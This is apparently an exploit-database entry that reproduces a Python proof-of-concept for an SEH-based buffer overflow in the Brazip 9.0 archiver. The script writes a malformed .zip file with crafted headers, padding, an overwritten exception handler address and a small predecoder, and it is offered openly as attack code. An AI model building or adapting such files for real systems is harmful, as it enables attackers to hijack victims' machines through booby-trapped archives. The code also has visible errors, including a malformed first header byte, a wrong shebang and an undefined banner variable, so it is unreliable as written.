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Brazip 9.0 (.zip File) Buffer Overflow (SEH)

🗓️ 17 Aug 2010 00:00:00Reported by ItsecteamType 
zdt
 zdt
🔗 0day.today👁 32 Views

Buffer overflow vulnerability in Brazip 9.0 (.zip File

Code
============================================
Brazip 9.0 (.zip File) Buffer Overflow (SEH)
============================================

#!user/bin/python
######################################################################
# Brazip 9.0 (.zip File) BoF Poc (SEH)
# Homepage  : www.brazip.com.br
# Version   : 9.0
# Tested Os : Windows XP SP1/SP3 EN
# Usage     : $ Python Brazip-poc.py
######################################################################
#AUTHOR: ITSecTeam
#Email: [email protected]
#Website: http://www.itsecteam.com
#Forum : http://forum.ITSecTeam.com
#Advisory: www.ITSecTeam.com/en/vulnerabilities/vulnerability60.htm
#Thanks: Hoshang jafari  aka [PLATEN]
######################################################################
import sys
print __banner__
 
header_1 =("x50\x4B\x03\x04\x14\x00\x00"
"\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00"
"\xe4\x0f"
"\x00\x00\x00")
  
header_2 = ("\x50\x4B\x01\x02\x14\x00\x14"
"\x00\x00\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\xe4\x0f"
"\x00\x00\x00\x00\x00\x00\x01\x00"
"\x24\x00\x00\x00\x00\x00\x00\x00")
  
header_3 = ("\x50\x4B\x05\x06\x00\x00\x00"
"\x00\x01\x00\x01\x00"
"\x12\x10\x00\x00"
"\x02\x10\x00\x00"
"\x00\x00")
nseh="\x41\x41\x41\x41" 
seh="\x65\x47\x7e\x6d"  
 
payload = "A" * 297 + nseh  + seh
 
predecoder = "\x59\x59\x59\x51\x5c"
payload=payload+predecoder
filltoebx="B" * (100-len(predecoder))
rest = "C" *  (4064-len(payload+filltoebx)) + ".txt"
payload = payload+filltoebx+rest
exploit = header_1 + payload + header_2 + payload + header_3
  
try:
    f=open("Brazip-poc.zip",'w')
    f.write(exploit)
    f.close()
    print   "[+] File created successfully !"
    sys.exit(0)
except:
    print "[-] Error cant write file to system\n"



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